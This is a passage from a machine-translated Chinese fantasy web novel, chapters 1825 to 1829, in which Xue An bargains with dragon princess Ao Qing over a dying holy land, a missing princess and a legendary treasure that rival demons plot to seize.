    At this time, Ao Qing, who had passed in front of her, said lightly: "I will clean up you when I turn around!"


    Hearing this, Ao Yi''s eyes showed a rare look of fear, and then he lowered his head.


    Then Ao Qing came close to Xue An, smiled slightly, and then bowed in a salute, "Ao Qing, I have seen Master Honglian!"


    Xue An nodded, but did not speak, because he knew that since the princess was here, he must have something to say.


    really.


    Seeing Ao Qing standing upright, her face solemnly said: "Master Honglian, I know everything. I sympathize with the Yutu clan''s experience, but this matter really has nothing to do with my dragon clan, because I have just thoroughly investigated. Once again, there was no collusion between the Dragon Clan and the Baihu Clan."


    "So now there are only two possibilities. One is that someone else betrayed the Jade Rabbit tribe, and the other is that this is purely a coincidence! Of course, this thing can''t be left alone!"


    Speaking of this, Ao Qing''s eyes showed a bit of murderous aura.


    "This white tiger clan acted recklessly, tortured the Yutu banshee, who is also a monster clan, and trapped my dragon clan in injustice. Its sin is to be blamed, so I have ordered someone to go and destroy the white tiger clan immediately!


    This remark was eloquent, well-founded, and neither overbearing nor overbearing and convincing. It can be seen that the princess is far better than the other two princesses in dealing with people.


    Xue An did not speak, but quietly looked at the princess Ao Qing opposite.


    Ao Qing did not avoid it either, but calmly faced Xue An''s gaze.


    After a long while, Xue An narrowed his gaze and nodded lightly, "Okay, then I believe you this time! As for you to find the Baihu clan to settle accounts... it is not necessary."


    Xue An smiled coldly, "Because they have been annihilated by me!"


    Upon hearing these words, there was a commotion in the crowd.


    Young Master Snake''s face turned white with a sigh.


    Ao Qing couldn''t help showing a look of surprise in her eyes, but she quickly recovered her calm, and then nodded slightly.


    "If this is the case, then thank Master Honglian for his righteous action and get rid of this great scourge for my monster race!"


    In a few words, this misunderstanding disappeared.


    The atmosphere in the field also relaxed.


    Then Ao Qing turned her head to look at the fox night.


    "Master Fox!"


    The look on Hu Ye''s face was a bit embarrassing, but he still bowed his hand, "Princess, I..."


    "No need to say!" Ao Qing waved her hand, "Yi''er has been savage since she was a child and can''t speak. What happened just now was that she did something wrong. I will apologize to you on her behalf!"


    Ao Yi trembled when he heard this, raised his head and shouted with puzzled expression: "Big Sister..."


    She really didn''t understand why she had to apologize to Huye.


    But Ao Qing only glanced at her lightly, and she swallowed all the words that followed.


    Hu Ye also had a look of astonishment, Xuan even said in a hurry: "The princess is too serious, and I have something wrong with this matter."


    Ao Qing looked calm, "It doesn''t matter whether it''s right or wrong, it doesn''t matter anymore. The point is that since you have to meet your beloved, then the marriage contract between you and Yi''er should be annulled!"


    Hu Ye never dreamed that Ao Qing would say something like this. The goal that he thought would have to go through a twists and turns to achieve, but now so easily achieved.


    The ease even made him feel unreal.


    But the people who responded the most were the Dragon Clan members, especially the Dragon Clan elders, who couldn''t believe their ears.


    The elder elder even lost his voice and said in shock: "The elder princess, the second princess''s marriage contract was personally concluded between the first king and the elder of the Qingqiu fox country, so cancel it like this... I am afraid it is not appropriate!"


    Ao Qing was calm, "What''s wrong? My father is no longer there, so what I said can represent the meaning of my father! And no matter who signed the marriage contract, the premise is that the two sides are in love. Yue, otherwise it will be a total tragedy!"


    "What''s more, it''s not that no one wants my Yi''er. Why bother to pester someone who doesn''t like her, and she doesn''t like the other person?"


    Hu Ye could hardly wait to kneel down on the ground and kowtow to Ao Qing, because these words were so good that they were in the arms of Hu Ye.


    Correct! That''s it! The marriage contract was cancelled quickly! Hu Ye shouted in his heart.


    Unexpectedly, at this moment, Ao Yi suddenly shouted.


    "Who said I don''t like him?"


    The audience was shocked when this sentence came out.


    Hu Ye almost choked to death by his own saliva, and then looked at Ao Yi with a dazed expression.


    At this moment, Ao Yi''s eyes were already red, and he choked at Huye and said, "I have always liked you!"


    Huye felt cold all over, but couldn''t say anything.


    Ao Yi went on and said, "I mock you and don''t look down on you. It''s all because I want you to be better, but you **** has never understood what I mean, and even avoided me!"


    Speaking of this, a line of tears fell from the corner of Ao Yi''s eyes, "But I really like you! I thought I had a marriage contract, and we would be together sooner or later, but you betrayed me and found an individual woman. ! Even humiliate me with retiring, you bastard, I hate you!"


    Speaking of the last, Ao Yi burst into tears in the sky, and then turned around, turned directly into a streamer, flew into the void, and disappeared.


    The audience was quiet, and people stared at this scene blankly, and then looked at Fox Night with extremely strange eyes.


    It looked like he was watching a scumbag who abandoned his wife and son.


    The corners of Hu Ye''s mouth twitched, and there was no blood on his face.


    He never expected that things would turn out to be like this.


    Why suddenly, he became an out-and-out guilty man?


    But the problem is I don''t even know the whole process!


    Ao Qing gave Hu Ye a meaningful look, and then said lightly: "Master Fox, since the situation has changed, then this matter needs to be discussed more carefully!"


    Fox Ye wanted to cry without tears, and was so upset that he didn''t even bother to lift his head.


    At this time, Ao Qing said: "Master Honglian, since you have come to the ancestral land of my dragon clan, please come to the mansion for a comment!"


    Xue An nodded, "Just about to disturb!"


    Then Ao Qing said to the many monsters in the distance: "Everyone, I''m really sorry, things have changed, and the celebration has been temporarily cancelled. After a few days, my dragon will prepare a banquet to apologize to everyone!"


    Naturally, these monster races couldn''t say anything, especially now that Xue An is here, they wish to hide away quickly.


    Therefore, after hearing Ao Qing''s words, the crowd succumbed to the amnesty, and then they dispersed.


    "Master Honglian, Master Fox, please come with me!" Ao Qing said, turning around to lead the way.

 Chapter 1825： Emperor flow, the origin of the Holy Land

    Xue An patted An Yan''s hand and gestured with his eyes.


    An Yan understood her heart, stepped forward and took A Rou''s hand before leaving.


    Xue An just walked up to Fox Night and couldn''t help but chuckled: "Fox Night, I didn''t expect you to be quite charming. Even the second princess has deep roots for you!"


    "Fuck, when have you come to make fun of me? I don''t need that mad woman''s love roots!" Fox Ye said angrily, out of breath.


    Xue An remained unmoved. Instead, he lowered his voice and said: "You shout louder! If this is heard by Ao Qing, what would you say she would think? Don''t forget what your purpose in coming to the Dragon Race is!"


    Fox night woke up like a dream, and his arrogant arrogance immediately wilted.


    "Oh, why am I so fate, what can I do now!" He lowered his head and sighed.


    Xue An patted him on the shoulder, "Okay, there must be a way to the mountain. If it doesn''t work, you will marry the second princess. Then you will enjoy the blessings of all the people. Isn''t it beautiful?"


    After hearing Xue An''s words, Fox Ye couldn''t help but think of her life after marrying Ao Yi, and then she gave Lingling a chill.


    That scene...it''s exciting just thinking about it!


    Because the temple had been demolished by this group of Erhuo Dragons, Ao Qing led Xue An and others to the holy place where he had been stationed.


    This is a space closely connected with the ancestral land of the dragon clan, yet it is a world of its own.


    According to legend, the ancestor of the dragon clan was nurtured from this world.


    But because the time is too long, it is no longer known whether this legend is true or false.


    However, it has been passed down as a holy place for the dragon family, and it has become the burial place of the white kings of the past.


    Surrounded by these extremely huge tombs, there is actually a verdant and elegant hill.


    On the top of the mountain is a tea pavilion.


    Ao Qing led Xue Anhuye and others and the great elder to here.


    "Please sit down!"


    Xue An first glanced at the tombs around the hill, and there was a hint of thinking in his eyes before sitting down.


    "I heard that Lord Honglian likes to drink tea most. This is the best demon tea that I specially exchanged for from the tree demon clan. How does Lord Honglian taste it?"


    Having said that, Ao Qing personally filled Xue An with a cup of tea.


    Xue An nodded in thanks, then picked up the teacup and sniffed it slightly. The fragrance of the tea was faint, and it was refreshing.


    And after a sip, there is a warm current flowing straight into the lungs, which makes people feel comfortable.


    "Good tea!" Xue An couldn''t help but exclaimed, "I didn''t expect the Yaozu to have such good tea!"


    Ao Qing smiled slightly, "If Master Honglian likes it, you can stay with me. Not only will there be enough tea and water, but the rest will also be available, and even my Dragon Clan will try our best to help adults regain the summit of the heavens! How?"


    When these words came out, the tea pavilion suddenly became quiet.


    Because people can hear the overtones of Ao Qing.


    Standing behind her sister, Ao Shu, her nervous palms were sweating, and she did not dare to look at Xue An with her head down, but prayed silently in her heart.


    Lord Dragon God is here, bless Brother Honglian will agree!


    Unfortunately, her dragon **** couldn''t help Xue An.


    Seeing everyone''s attention, Xue An didn''t even raise his eyelids, and said lightly: "Thank you for the princess''s kindness, but if I want to drink tea, I can buy it myself. As for the summit..."


    Xue An smiled, "What I lost, naturally I have to take it back by myself, without the help of others!"


    Although Xue An had long been expected to refuse, after hearing it, Ao Shu couldn''t help shaking his whole body and tears appeared in his eyes.


    Ao Qing sighed softly, "Really not considering it?"


    Xue An slowly leaned on the back of the chair, grabbed the hand of An Yan sitting aside, kneaded it gently, and said lightly: "What do you mean?"


    Ao Qing was silent for a moment and nodded, "Okay, I understand!"


    Then her tone changed, "But I don''t know if Master Honglian came to my dragon clan ancestral land without any hesitation, what happened?"


    Xue An didn''t hesitate, and said directly: "I have a subordinate who is a member of the Flood Dragon. He was seriously injured and lost most of his vitality, so I want her to enter the origin of the Dragon Race to help her recover!"


    "No!" Ao Qing refused Xue An without hesitation even more.


    Xue An was startled slightly.


    Ao Qing said indifferently: "If Master Honglian is here because of this incident, then don''t talk about it anymore. In short, it is absolutely impossible!"


    "Why?" Xue An couldn''t help asking.


    After a moment of silence, Ao Qing said slowly: "Because only my Dragon Clan can enter the holy land, no one else can enter!"


    "But Xiaosha is also a dragon!" An Yan said.


    A ridiculous color appeared on Ao Qing''s face, "Can the dragon belong to the dragon clan?"


    "Doesn''t it count?"


    "Not counting!"


    Speaking of this, Ao Qing picked up the teacup in front of him, took a sip, and said, "Master Honglian, if there are other things, I can help you, but this one won''t work!"


    Xue An looked at Ao Qing, his eyes flickering, as if thinking about something, but did not speak.


    Upon seeing this, Ao Shu couldn''t help but said: "Eldest sister..."


    "Needless to say, it''s useless for anyone to intercede in this matter!" Ao Qing categorically cut the line.


    The situation suddenly reached a deadlock, and there was silence in the tea pavilion.


    Even the look of this great elder became a little unnatural.


    Finally, Xue An sat up slowly and looked at the opposite Ao Qing with a faint smile, "Okay! Since the eldest princess said so, then I will break this mind, let this matter be exposed!"


    An Yan was surprised when he heard this.


    What do you mean?


    Husband, isn''t this going to save Xiaosha?


    Ao Qing didn''t expect Xue An to give up directly, and she was also startled.


    At the same time, Xue An went on to say: "I have one more thing to ask the princess now, this should be all right!"


    Ao Qing nodded, "Please speak!"


    Xue An squeezed both arms on the table in front of him, leaned forward, looked at Ao Qing with piercing eyes, and said every word: "But I don''t know if the princess knows the whereabouts of the emperor?"


    As soon as this remark was made , I saw Ao Qing''s body was shaken, and her unhappy expression changed drastically.


    "Di Liuli? What are you looking for?" Ao Qing said tremblingly.


    Xue An said lightly: "It''s very simple, because I want to save someone!"


    Ao Qing was silent, and finally shook her head, saying: "I''m sorry, I don''t know!"


    Speaking of this, she murmured in confusion: "In fact, no one among the heavens today knows the whereabouts of Emperor Liuzhi!"


    The atmosphere then became extremely dull.


    Hu Ye was full of despair, because if even the princess of the dragon clan didn''t know the whereabouts of Emperor Liuliu, it meant that this illusory thing might not exist at all.


    But at this moment, Xue An suddenly sneered and said: "So even you can only watch the Dragon Race''s Holy Land Origin die?"


    As soon as this remark came out, it was like a shock to the world, and Ao Qing was all discolored.

 Chapter 1826： Haoyues Tribulation

    "You...you..." Ao Qing said incoherently, you didn''t say why for a long time, obviously you have been completely shocked.


    "Do you want to ask, how did I know about this? Right?" Xue An said lightly.


    Ao Qing did not speak, but the expression in her eyes explained everything.


    Xue An stood up and walked to the window of the tea pavilion. Outside the window was a huge tomb like a mountain, where the bones of the white kings of the past were buried.


    Xue An looked up at these tombs, and said leisurely: "If I am not mistaken, the origin of the so-called holy land is actually the gathering of the blood of the white kings of the past! After their death, their blood and power have not dissipated. It��s to return to this place and become the holy land of the Dragon Race!"


    Ao Qing didn''t know what to say anymore, including the great elder.


    Because this is the core secret of the Dragon Race.


    Now Xue An has said that, how can we not make them horrified.


    At this time, Xue An went on to say: "Don''t be surprised why I know this, because from the moment I entered this space, I perceive the strangeness here."


    As he said, Xue An raised his hand to point to these tombs, and said solemnly: "These tombs... are clearly dying!"


    The tombs were originally dead, but now Xue An uses the four words of dying to describe them.


    But after hearing these words, Ao Qing slowly lowered her head with a sad expression on her face.


    "Because the origin of the holy land is formed by the gathering of these white king tombs, their death means that the origin of the holy land is gradually disappearing, am I right? The princess!"


    Xue An turned around, looking at Ao Qing with piercing eyes.


    Ao Qing was silent for a moment, and finally nodded with difficulty, "Yes, the power of the ancestors is indeed disappearing, and the origin of the holy land has not been able to support the situation for several years!"


    "So you stay here, trying to guard this world, so as to slow down the speed of their death? Even if... it requires you to give your own life, it doesn''t hesitate?"


    If Xue An''s previous remarks only made Ao Qing feel puzzled and shocked, then these remarks now made Ao Qing completely aphasia.


    She couldn''t imagine how Xue An knew this.


    Obviously, he didn''t tell anyone these secrets.


    Even the great elder didn''t know anything about it.


    Now Xue An has broken the secret.


    She sat there almost numbly.


    The Grand Elder reacted first, and then exclaimed: "Princess, is what Red Lotus-sama said true? Are you really guarding the Holy Land at the expense of your own life?"


    By now, concealment is no longer useful, so Ao Qing nodded slowly.


    "Yes!"


    At this time, the elder was pale and sat on the chair, unable to even speak.


    Ao Shu even cried out even more.


    She suddenly felt that she was very useless, because she hid in the secret realm to retreat because of a little thing, and thought she was very powerful.


    In the end, the eldest sister took all the pressure silently.


    Xue An sighed softly, "Is it really worth it?"


    Ao Qing smiled bitterly, "What if it is not worth it? Just as you said, the spirit of the ancestor is dying, and the origin of the holy land is rapidly dissipating. In a few years, it will become a barren land. The sacred place of the dragon will no longer exist."


    Speaking of this, there was an invisible tear in Ao Qing��s eyes, ��By then, the dragon race without the protection of the first king will become a race that has lost hope, and such a race is destined to not last, so for the sake of the dragon race To survive, even if I give everything, I will not hesitate!"


    "Even if it can only be postponed for a while?" Xue An said.


    Ao Qing nodded, "Yes, even if it is delayed for a second, it is meaningful!"


    Xue An was silent.


    The perseverance of this dragon princess is simply moving.


    As for Ao Shu, she was already crying at this moment.


    Even the great elder was red under his eyes and bowed his head silently.


    Xue An sighed softly, "This is why you rejected me?"


    "Yes, because the current strength of the Holy Land''s origin is not enough to support a training! So I am sorry." Ao Qing said calmly.


    At this moment, Xue An suddenly said: "Then why does the origin of the Holy Land suddenly disappear? What is the reason for all this?"


    Yes!


    Why did the former king''s spirit soul, who had been doing well for countless years, suddenly start to die, and the origin of the holy land is also constantly dissipating? What is the reason for all this?


    With these questions, everyone looked at Ao Qing.


    Ao Qing was silent for a moment, then shook her head gently, "I don''t know, but I have a guess!"


    "All of this is probably also related to Di Liuxu!"


    "Di Liuliu?" Xue An was slightly startled, and asked rhetorically.


    "Yes! Because of the emperor flow!"


    Ao Qing said slowly: "Since the great moon catastrophe five thousand years ago, Emperor Liuzhi has never appeared again, and since then, the development of the monster race has almost stagnated! Then it broke out again. A battle to seal the demon, my father fell in this battle!"


    "Since then, the origin of the Holy Land has gradually dissipated, but at first the speed was so slow that people didn''t even notice it, but the latter speed became faster and faster, and finally reached the point where it is out of control!


    Everyone was moved by Ao Qing''s words.


    Because of the calamity of Haoyue and the battle to seal the demon are extremely important events in the history of the demon clan.


    Unexpectedly, the origin of the Holy Land is also closely related to these two major events.


    But Xue An didn''t show much surprise. He only saw his eyes flickering and seemed to be thinking about something. It was only a moment later that he narrowed his eyes slightly and said in a deep voice.


    "In other words, as long as you find Diliuqian, you can solve all the problems?"


    Ao Qing shook her head and smiled bitterly, "How easy is it? In order to find the emperor, I don''t know how many amazing and brilliant people in the monster race have put all their lives in the past five thousand years, but in the end they are still in vain!"


    "Even I have searched for it more than once, but I didn''t even have a clue! That''s why I stopped this idea, because Diliuxiang is probably gone long ago!"


    Everyone looked desperate when they heard the words Arou couldn''t help lowering her head.


    But Xue An shook his head quite confidently, "The words can''t be said so absolute, since it has appeared before, it means it will definitely appear again."


    "So there is only one question now, and that is what the **** is going on in the Battle of Conquering Demons?"


    After all, Xue An looked at Ao Qing with piercing eyes.


    Ao Qing pondered for a moment, and finally smiled bitterly: "Forget it, there is no need to hide it now!"


    With that said, she raised her head and looked at Xue An with a solemn expression.


    "The specific details of this battle have been hidden for many years, and it has even become a taboo among the monster races, but the truth is actually very simple. In order to fight for the last side, the big monster races still have the secret realm of the emperor''s fluid atmosphere. And fight!"


    "It''s that simple?"


    "It''s that simple!"

 Chapter 1827： Vibration of blood

    Next, Ao Qing briefly recounted the history of the battle to seal the demon. After listening to it, Xue An was silent, thinking for a moment before speaking.


    "That is to say, this battle ended with a tragic victory by the Dragon Clan, and that secret realm will belong to you?"


    Ao Qing nodded and smiled miserably: "Yes, my father was seriously injured because of this battle, and died soon afterwards! As for the secret realm..."


    Ao Qing shook her head, "I know what you are thinking, but for so many years, our Dragon Clan has explored the secret realm thousands of times, but there is no clue about the emperor, so this road will not work. of!"


    Ao Shu, the third princess standing by the side, couldn''t help but nodded when she heard the words, "Yes, Brother Honglian, I have been in that secret for a long time, and I haven''t found anything unusual!"


    Xue An''s eyes flickered slightly, and he slowly said, "That''s not necessarily, you can''t find it, it doesn''t mean I can''t find it either!"


    Ao Qing sighed slightly, just about to speak.


    But at this moment, Ao Qing suddenly felt a shock from the depths of her own blood.


    This could not help making her stunned, and then suddenly got up, blurted out and said: "Is it Yier?"


    Not only her, but the third princess Ao Shu also felt the vibration from the bloodline, and her eyes widened and said, "It''s the breath of the second sister! What happened to her second sister?"


    The whole tea pavilion fell silent instantly.


    Ao Qing''s complexion was pale, and after perceiving it carefully, her whole body suddenly shook, "It''s a secret realm! Yi''er''s breath came from the secret realm!"


    "Princess, what happened? What happened to the second princess?" The elder elder couldn''t help asking.


    Ao Qing took a deep breath and said quickly: "Just now, my third sister and I felt a vibration from the depths of the bloodline. It was the breath of Yi''er. But this kind of bloodline induction is usually not in an emergency. It won''t be used, which means that Yi''er may be in trouble!"


    "What?" The elder exclaimed in exclamation, and then furiously said: "Who would dare to be against the second princess? And it is still in the secret realm of our dragon race?"


    "I don''t know, but the situation is urgent, we need to rush over immediately!" Ao Qing said, turning to look at Xue An.


    "Guren-sama, do you want to go together?"


    "Of course!" Xue An nodded, "We are also responsible for the second princess, and we are naturally bound to do it!"


    "Well, without further ado, we set out now!"


    After speaking, the group immediately flew up, left the Dragon Sacred Land directly, and then came to the secret realm in the vast void.


    Time went back five minutes ago.


    In the dragon clan secret realm not far from the sea of ??stardust, a figure suddenly appeared.


    It is the second princess Ao Yi who has just left in the ancestral land of the dragon clan.


    I saw her fall, her face full of grief and anger.


    The scenes that just happened flashed through her mind like a revolving lantern.


    Especially when Fox Ye heard the joyful expression after retiring, Ao Yi, who had never been really frustrated from childhood to most of the time, went crazy.


    "Asshole, all men are big assholes! You dare to divorce me, Fox Ye, you are an out-and-out asshole, pig brains!"


    Ao Yi waved his fists and feet full of resentment, fantasizing the air in front of him into the hateful smiling face of Fox Ye.


    After a hysterical vent, Ao Yi finally sat down on the ground panting, then grinned and began to cry bitterly.


    The cry was extremely miserable, as if to vent all the grievances in my heart through tears.


    While crying, Ao Yi choked and cursed.


    "Fox...Fox night, you are a big bastard, big pig''s hoof!"


    But just when she was crying and sad, the ground that was dripping from her tears suddenly appeared with shallow ripples.


    The ripple was very slight at the beginning, even Ao Yi didn''t feel it.


    But soon, the ripples became stronger and gradually spread far away.


    Ao Yi, who noticed the strangeness, couldn''t help but stop crying, and stared at the scene before him with astonishment.


    At the same time, the ground of the entire secret realm began to ripple, as if suddenly changed to the surface of the water, and exuded a soft brilliance.


    "This...what''s this?" Ao Yi muttered foolishly with his eyes wide open.


    As soon as the voice fell, suddenly, a bright round moon as big as a huge sun appeared in the sky.


    The full moon is as radiant as jade, and it will illuminate a piece of silver on the rippling secret ground.


    Ao Yi was completely stunned by the spectacle in front of him.


    Suddenly.


    Suddenly she thought of something, and she couldn''t help feeling a huge shock, and then blurted out: "Emperor Flowing Blood!"


    The voice became a little hoarse from overexcitement.


    But it seemed to be disturbed by her words. The originally prosperous moonlight suddenly shook, and even the entire secret realm trembled, and there was a faint collapse.


    Ao Yi was shocked.


    Because what she was facing right now was a **** that the Dragon Race and even the entire Monster Race had been searching for thousands of years and couldn''t.


    If the only clue was taken away by a word of his own, then he would be to blame for his deaths.


    In a hurry, she immediately mobilized the power of the whole body to spread the information through this blood medium.


    But at this time everything is fading like a tide.


    The full moon faded and the ripples disappeared.


    Ao Yi gritted his teeth when he saw the situation, then slammed his heart, and flew directly towards the faded scene.


    Under the full urging, Ao Yi''s speed can be described as extremely fast, even so, she can only catch the last ray of light.


    But at this moment, everything is accelerating and it will disappear completely.


    Ao Yi yelled, "Don''t go!"


    Then he dashed forward, and his whole figure was suddenly submerged in the brilliance, and then all the visions disappeared without a trace.


    The secret realm once again returned to calm, but at this time there was no trace of Ao Yi in the entire world Except for the few tears on the ground, it seemed that she had never appeared before.


    At this moment, the sisters Ao Qing and Ao Shu felt the bloodline vibration, and then rushed to this secret realm with Xue An and others.


    And at the same time, somewhere in the distant Yaozu.


    A certain big demon hiding in the darkness opened his eyes suddenly, his eyes cut through the sky like electricity, and even agitated layers of fine lines in the space.


    "Emperor Flowing Blood? The breath of Di Flowing Blood that has long disappeared?"


    The excited voice of this great demon trembled, and then he couldn''t help laughing wildly.


    "Hahahaha, it really is the road to heaven, and the Diliu Berry still exists in the world! As long as I have it, then I will break through the current realm in one fell swoop. At that time, I will become the monster race, and even the heavens. one person!"


    But at this moment, a enchanting female voice suddenly came from this wild laugh.


    "What''s so happy?"

 Chapter 1828： 3-foot Golden Diu

    With the words, this boundless darkness suddenly became magnificent, because a giant centipede exuding golden brilliance suddenly crawled in.


    Then the centipede turned into a beautiful, charming and charming, and looked over with winking eyes.


    But for such a scene that was supposed to be pleasing to the eye, the demon''s eyes grew colder, and he said coldly: "Queen Thousand Feet, what are you doing all of a sudden to come to me?"


    "Chuck chuck!" The Queen of Thousand Feet smirked her mouth for a while, and then glanced at the big demon in a coquettish manner, "Three-legged crow, what are you so afraid of me for? Can I still eat you?"


    With that, the Queen of Thousand Feet licked her red lips.


    "Hmph! Queen of the Thousand Feet, you and I do not offend the river water, and I will naturally not be afraid of you as the king of dignified birds, so you''d better give me this set less!" Three-legged Wu sneered, with brilliance in his eyes. .


    As the heavenly **** bird in ancient legends, this three-legged crow speaks naturally with full confidence.


    "Yeah, I''m turning my face to deny people? You and I have been under the same person anyway, so why don''t you have the water in the water?" The Queen of the Thousand Races said with a smile.


    As soon as the words came out, the three-legged crow couldn''t help but change in sorrow, and said grimly: "Qianzu, what do you mean by this?"


    "I don''t have any consciousness, just want to remind you that the master we used to be loyal to has now returned, and as a betrayal of him, how would you say that he will deal with us?" The Queen of Millenium said indifferently.


    Sanzuwu''s face turned dark, "I don''t need you to remind me of these things, and I''m not afraid of him, so you should take care of yourself!"


    "Oh? I''m really not afraid of him?" The Queen of Thousand Feet smiled and said, "Then why did you hide in this barren land?"


    The three-legged crow was angry, "Thousand-legs, what do you mean?"


    The Thousand Foot Queen said indifferently: "It''s meaningless, but suddenly I heard a news that Xue Anye has appeared in the ancestral land of the dragon clan!"


    The three-legged Crow trembled, and his complexion suddenly became pale, "What? He has come?"


    The Queen of Thousand Feet sneered, "Didn''t you say that you are not afraid?"


    The three-legged black face gradually became gloomy, but he did not speak.


    The Queen of Thousand Feet did not care, and said to herself: "As his subordinate, I believe you should be very clear about his temperament. You feel that he has returned from rebirth, and just after proving the Dao Immortal King, he will kill the Five Elements Evil Emperor. Have you passed us?"


    The three-legged crow thought for a while, and finally shook his head with a green expression, "I guess not!"


    "It''s not that I won''t, but I definitely won''t, because you and I know what happened to the Yutu clan back then!"


    The words of the Queen of Thousand Feet made the face of the three-legged Wu look more ugly, and couldn''t help but say: "What are you trying to say?"


    "It''s very simple. The reason why I came to you is because if we want to survive now, there is only one way, and that is to join forces to deal with Xue An, otherwise, we will definitely die!" The Queen of Qianzu said solemnly.


    The three-legged Wu lowered his head and began to think carefully.


    The Queen of Thousand Feet was not in a hurry, she just waited quietly, because she believed that as long as the three-legged crow was not a fool, she would definitely make the right choice.


    really.


    After thinking about it for a long time, Sanzuwu finally made up his mind, then raised his head and said: "I can cooperate with you, and I have a way. Not only can I live, I can even kill Xue An directly and replace it!"


    "What?" This time it was the Queen of Millipede''s turn to be shocked.


    The three-legged Wu took a deep breath, "But the premise is that you must obey my command and take me as the master, otherwise everything will be abandoned, understand?"


    The Queen of Thousand Feet took a deep look at Sanzuwu and found that he was not joking, and finally nodded hesitantly.


    "I can agree to your request, but if you trick me, I will kill you at all costs!"


    The three-legged grinning grinned, "Don''t worry, this matter is absolutely reliable, and once the two of us join forces, the odds of winning are definitely big enough!"


    "Don''t sell it, what the **** is it?"


    The three-legged black took a deep breath, "Do you know the emperor flow?"


    The Queen of Thousand Feet was taken aback, "You said that legend that has long disappeared?"


    "It''s not a legend!" Sanzuwu shook his head, "It existed for real! Because I was fortunate to have the memory inheritance of an ancient great demon, so I can perceive this thing, but just now, I suddenly felt There is a breath of it!"


    "Could it be that you made a mistake?" The Queen of Thousand Feet said with a shocked look.


    Because this is really incredible.


    A thing that only exists in legends suddenly appeared, it doesn''t seem to be true no matter how you think.


    The three-legged black said firmly: "I can''t make a mistake, that is the aura of Emperor Liuzhu! And it is extremely clear, which shows that it will be born again soon!"


    "And as long as we obtain this thing, we will immediately become the real powerhouse among the heavens, and then..."


    A grinning smile appeared on the face of the three-legged Wu, "How can a Red Lotus Immortal Venerable who has not yet returned to the top, can be our opponent?"


    The eyes of the Queen of Thousand Feet gradually became hot.


    "How do you do that? Where is this thing now?"


    "Don''t worry? It''s just a surprise now, and according to ancient legends, as long as it appears once, it will definitely appear again in a short period of time, and I already have an approximate position. It��s too late for us to rush over now!"


    "Then what are you waiting for? Hurry up! Otherwise, if someone else gets on board first, then we will be all over! What''s more, this Xue An is now in the dragon clan. Wouldn''t it be more difficult for him to intervene in this matter? "The Queen of Thousand Feet said very anxiously.


    The three-legged black chest smiled confidently, "Don''t worry, no one can steal the Emperor Liuyou with me!"


    "Even if he is Xue An, the result is the same!"


    Just when these three-legged black mouths uttered wild words ~ www.novelhall.com~ the major powerhouses among the monster clan more or less felt a strange breath.


    These people couldn''t help but cast their eyes over, wanting to know what happened.


    Only a few people perceive the unusual breath faintly, and then secretly prepare.


    at the same time.


    Xue An and his party have already rushed out of the sea of ??stardust and came to the secret realm of the dragon clan.


    Seeing the secret realm that had already returned to calm, everyone was a little dumbfounded.


    "Where is the second sister? Where did she go?" Ao Shu looked around anxiously, but did not see any trace of Ao Yi.


    The eldest princess Ao Qing also surveyed the surroundings with divine mind, looking for clues about her younger sister.


    Only Xue An seemed to smell something strange, walked to one place, and then squatted down to look at the ground.


    On the ground, there were a few shallow tears.

 Chapter 1829： Storm rises

    After looking at it for a long time, Xue An slowly stood up and let out a breath: "No need to look for it, I know where the second princess is!"


    Everyone looked back upon hearing this.


    Ao Shu asked anxiously, "Brother Honglian, where did my second sister go?"


    Xue An looked up at the sky in this secret realm, and whispered softly: "She should have gone to a very strange place, and this place is related to Di Liuxiang!"


    As soon as this remark came out, everyone was disgraced.


    Especially Ao Qing, she couldn''t believe her ears, "What are you talking about? Yi''er''s disappearance is related to Di Liuxu?"


    "Yes! If I guessed correctly, she must have triggered certain conditions at the time that led to the emergence of Di Liuxue, and because of the emergency, she had to notify you with the vibration of blood, and then disappeared with Di Liuxue. !"


    It has to be said that Xue An��s guess is true.


    After hearing the words, everyone fell into silence.


    Because they have to digest the huge amount of information contained in Xue An''s words.


    If what Xue An said is true and Emperor Liuzhi really appeared in the world, then this news is no less than a blockbuster for the entire Monster Race.


    "Then what should we do now? How can we rescue the second sister?" Ao Shu''s voice was trembling.


    Xue An said indifferently: "The only way now is to wait!"


    "Wait?"


    "That''s right, because since the condition has been triggered, the Emperor Liuzhi will never appear only once, so as long as we stay here, we will definitely see it appear again." Xue An said firmly.


    After hearing the words, Ao Qing immediately turned to the elder and said: "Elder, you will return to your ancestral land now, summon all the elites in the Qilong clan, and then bring them here immediately!"


    The great elder was shocked.


    He understood what Ao Qing meant.


    Needless to say, the importance of the emperor flow pulp, since it has appeared in the world now, the entire monster race will be shaken!


    In order to obtain this divine object, all demons will do whatever it takes.


    At that time, the pressure on the dragon clan will be unprecedented.


    So he immediately nodded and responded: "Understood!"


    Then he turned around and left in a hurry.


    Then Ao Qing gave a salute to Xue Anshen and said solemnly: "Master Honglian, this matter is of great importance. On behalf of the Dragon Clan, I implore you for your help. After the event is completed, the Dragon Clan will have to thank you!"


    Xue An smiled faintly, "Oh? Thank you again? Why thank you again?"


    Ao Qing took a deep breath and said solemnly, "As long as you want, as long as I have it, it''s okay!"


    This commitment can be described as sincere.


    Xue An also stopped talking nonsense, "Well, I don''t want anything else, but I will want half of this emperor''s flow when the time comes, and at the same time I want to let my hands go to the holy land to refine the origin!"


    "No problem!" Ao Qing didn''t even hesitate, Dang Even agreed.


    This kind of courage is amazing.


    But Ao Qing thought to understand that if the secret realm could not be kept, everything would be futile.


    For this opportunity, she has been waiting for a long time, and naturally she must not be lost.


    Just as the dragons were preparing intensively.


    A news began to circulate among the major monster races.


    "What? Di Liuxiang actually appeared in the secret realm of the Dragon Race? Is the news true?" A thousand-year old demon said with horror.


    "It''s true. The unusual vibration before is an example! Moreover, it is obvious that the dragon clan is madly dispatching troops, and it is obvious that there must be a big move!" The informant said vowedly.


    "It turns out that this group of loach actually wants to swallow the emperor''s slurry, which is really horrible!"


    "That''s why I will tell you this news. We can only deal with the Dragon Race together only by joining hands!"


    "it is good!"


    Alliances like this are happening everywhere.


    The Queen of Thousand Feet asked San-legged Wu with a look of confusion, "Why are you revealing the news? Isn''t this adding countless opponents to herself?"


    Three-legged Wu Wenyan sneered: "I ask you, even if you don''t have these opponents, which one of the Dragon Race or Xue An can you handle?"


    The queen of the thousand feet was silent.


    "That''s why I deliberately leaked the news. The purpose is to muddy the water. Only in this way can we fish in troubled waters."


    "But in case..." The Queen of Millipede was still a little worried.


    "There is no case, because only I know all the characteristics of the emperor flow pulp. After it has emerged, it needs a special method to enter each subsequent life, otherwise it will not enter!" The three feet are confident. Words.


    And just when the whole monster race was restless because of this incident.


    In an extremely hidden corner of the void, a barren Death Star was slowly turning.


